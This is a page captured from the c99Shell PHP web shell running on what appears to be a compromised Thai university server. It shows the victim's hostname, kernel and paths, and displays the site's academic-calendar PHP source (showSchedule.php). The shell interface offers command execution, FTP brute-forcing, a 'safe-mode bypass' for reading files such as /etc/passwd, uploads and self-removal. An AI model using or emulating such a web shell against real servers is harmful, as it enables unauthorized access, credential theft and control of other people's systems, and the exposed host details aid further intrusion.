!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showSchedule.php (9.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("admin_menu.php");
include_once "./link/function.php";
include_once "./class/clsAcadYearConfig.php";
include_once "./class/clsSchedule.php";
include_once "./class/clsSysSemesterDes.php";
include_once "global.php";
$conn = new Connection();

$oAy = new AcadYearConfig();
$oAy2 = new AcadYearConfig();
$oAy3 = new AcadYearConfig();
$oSc = new Schedule();
$oSe = new SysSemesterDes();
$oSe2 = new SysSemesterDes();
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="750" border="0" cellpadding="0" cellspacing="0">
	<tr>
		<td><br><fieldset>
			<legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Menu_Course.php">หน้าหลัก</a> <img src="picture/ico3.gif" align="absmiddle" border="0" /><a href="programs.php">หลักสูตรที่เปิดสอน</a> <img src="picture/ico3.gif" align="absmiddle" border="0" /><a href="course.php">รายวิชาที่เปิดสอน</a>  <img src="picture/ico3.gif" align="absmiddle" border="0" /></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="showDetailStudyPlan.php">โปรแกรมการศึกษา</a> <img src="picture/ico3.gif" align="absmiddle" border="0" /></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>">ปฏิทินการศึกษา</font></legend>
			<label><div align="center"><br><form name="pc" method="post" action="processSchedule.php"><table width="600" align="center" border="0" cellpadding="0" cellspacing="0">				
				<tr>
				  <td align="center"><div align="left"><font size="2" face="Tahoma"><img src="./picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></div></td>
			  </tr>
				<tr>
					<td align="center"><font size="3" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong>ปฏิทินการศึกษา</strong></font></td>
				</tr>
				<tr>
					<td height="22"></td>
				</tr>
				<tr>
					<td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>
<?php
				$oAy->SearchByKey($GLOBALS["ACADYEAR"], $GLOBALS["SEMESTER"]);
				$oAy->GetRecord();
?>				
				ปีการศึกษา : 
				<select name="acadYear"  onChange = "location.href ='<?php echo $PHP_SELF;?>?acadYear='+encodeURI(options[selectedIndex].value)">
<?php
				if($acadYear==''){
?>
				<option value="<?php echo $oAy->acadYear;?>" selected><?php echo $oAy->acadYear;?></option>				
<?php
				}else{
?>				
				<option value="<?php echo $acadYear;?>" selected><?php echo $acadYear;?></option>				
<?php
				}
				
				$oAy2->RSAcadYearConfigGroupAcY();
				while($oAy2->GetRecord()){
?>
				<option value="<?php echo $oAy2->acadYear;?>"><?php echo $oAy2->acadYear;?></option>
<?php				
				}
?>				
				</select>				
				ภาคการศึกษา : 
				<select name="semester"   onChange = "location.href ='<?php echo $PHP_SELF;?>?semester='+encodeURI(options[selectedIndex].value)+'&acadYear='+acadYear.value">
<?php
				if($semester=='' && $acadYear==''){
					$oSe2->SearchByKey($oAy->semester);
					$oSe2->GetRecord();					
?>
				<option value="<?php echo $oSe2->semester;?>" selected><?php echo $oSe2->semester1."  ".$oSe2->semesterName;?></option>
<?php
					}else if($semester==''){
?>
				<option value="" selected>--เลือกภาคการศึกษา--</option>
<?php					
					}else{
					$oSe2->SearchByKey($semester);
					$oSe2->GetRecord();					
?>
				<option value="<?php echo $oSe2->semester;?>" selected><?php echo $oSe2->semester1." ".$oSe2->semesterName;?></option>
<?php
					}
				
				if($acadYear!='')
					$oAy3->RSAcadYearConfigByAcadYearGBSem($acadYear);					
				else
					$oAy3->RSAcadYearConfigByAcadYearGBSem($oAy->acadYear);
					
				while($oAy3->GetRecord()){
					$oSe->SearchByKey($oAy3->semester);
					$oSe->GetRecord();
?>
				<option value="<?php echo $oSe->semester;?>"><?php echo $oSe->semester1."  ".$oSe->semesterName;?></option>
<?php				
				}
?>				
				</select>					
					</b></font></td>
				</tr>
				<tr>
					<td><table width="600" border="0" cellspacing="0" cellpadding="0" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
						<tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
							<td width="50%" height="22" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>คำอธิบาย/ชื่อกิจกรรม</strong></font></td>
							<td width="25%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>วันที่เริ่มต้น</strong></font></td>
							<td width="25%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>วันที่สิ้นสุด</strong></font></td>
						</tr>
<?php
						if($acadYear=="" && $semester==""){
							$oAy->SearchByKey($GLOBALS["ACADYEAR"], $GLOBALS["SEMESTER"]);
						}else{
							$oAy->SearchByKey($acadYear, $semester);						
						}
						$oAy->GetRecord();
						
						if($acadYear=="" && $semester==""){
							$oSc->SearchByKey($GLOBALS["ACADYEAR"], $GLOBALS["SEMESTER"]);
						}else{
							$oSc->SearchByKey($acadYear, $semester);						
						}
						$oSc->GetRecord();
?>
						<tr>
							<td height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">วันเปิดภาคการศึกษา</font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php if(fullDate(splitDateDb($oSc->sDate))==543){echo "-";}else{ echo fullDate(splitDateDb($oSc->sDate));}?></font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">-</font></td>
						</tr>
						<tr>
							<td height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">ช่วงลงทะเบียนเรียน</font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php if(fullDate(splitDateDb($oSc->enrollSDate))==543){echo "-";}else{ echo fullDate(splitDateDb($oSc->enrollSDate));}?></font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php if(fullDate(splitDateDb($oSc->enrollEDate))==543){echo "-";}else{ echo fullDate(splitDateDb($oSc->enrollEDate));}?></font></td>
						</tr>
						<tr>
							<td height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">ช่วงเพิ่ม-ถอนรายวิชา</font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php if(fullDate(splitDateDb($oSc->addWithdrawSDate))==543){echo "-";}else{ echo fullDate(splitDateDb($oSc->addWithdrawSDate));}?></font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php if(fullDate(splitDateDb($oSc->addWithdrawEDate))==543){echo "-";}else{ echo fullDate(splitDateDb($oSc->addWithdrawEDate));}?></font></td>
						</tr>
						<tr>
							<td height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">ช่วงชำระค่าลงทะเบียนเรียน</font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php if(fullDate(splitDateDb($oSc->paySDate))==543){echo "-";}else{ echo fullDate(splitDateDb($oSc->paySDate));}?></font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php if(fullDate(splitDateDb($oSc->payEDate))==543){echo "-";}else{ echo fullDate(splitDateDb($oSc->payEDate));}?></font></td>
					  </tr>
						<tr>
							<td height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">ช่วงสอบกลางภาค</font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php if(fullDate(splitDateDb($oSc->midExamSDate))==543){echo "-";}else{ echo fullDate(splitDateDb($oSc->midExamSDate));}?></font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php if(fullDate(splitDateDb($oSc->midExamEDate))==543){echo "-";}else{ echo fullDate(splitDateDb($oSc->midExamEDate));}?></font></td>
						</tr>
						<tr>
							<td height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">ช่วงสอบปลายภาค</font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php if(fullDate(splitDateDb($oSc->finalExamSDate))==543){echo "-";}else{ echo fullDate(splitDateDb($oSc->finalExamSDate));}?></font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php if(fullDate(splitDateDb($oSc->finalExamEDate))==543){echo "-";}else{ echo fullDate(splitDateDb($oSc->finalExamEDate));}?></font></td>
					  </tr>
						<tr>
							<td height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">ช่วงส่งเกรดนักศึกษา</font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php if(fullDate(splitDateDb($oSc->finalExamEDate))==543){echo "-";}else{ echo fullDate(splitDateDb($oSc->finalExamEDate));}?></font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php if(fullDate(splitDateDb($oSc->sendGradeEDate))==543){echo "-";}else{ echo fullDate(splitDateDb($oSc->sendGradeEDate));}?></font></td>
						</tr>						
						<tr>
							<td height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">วันปิดภาคการศึกษา</font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php if(fullDate(splitDateDb($oSc->eDate))==543){echo "-";}else{ echo fullDate(splitDateDb($oSc->eDate));}?></font></td>
							<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">-</font></td>
					  </tr>						
					</table></td>
				</tr>
			</table>
			</form></div></label>
		</fieldset><br></td>
	</tr>
</table>
<?php
$oSc->Destroy();
$oAy->Destroy();
$conn->Disconnect();

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0062 ]--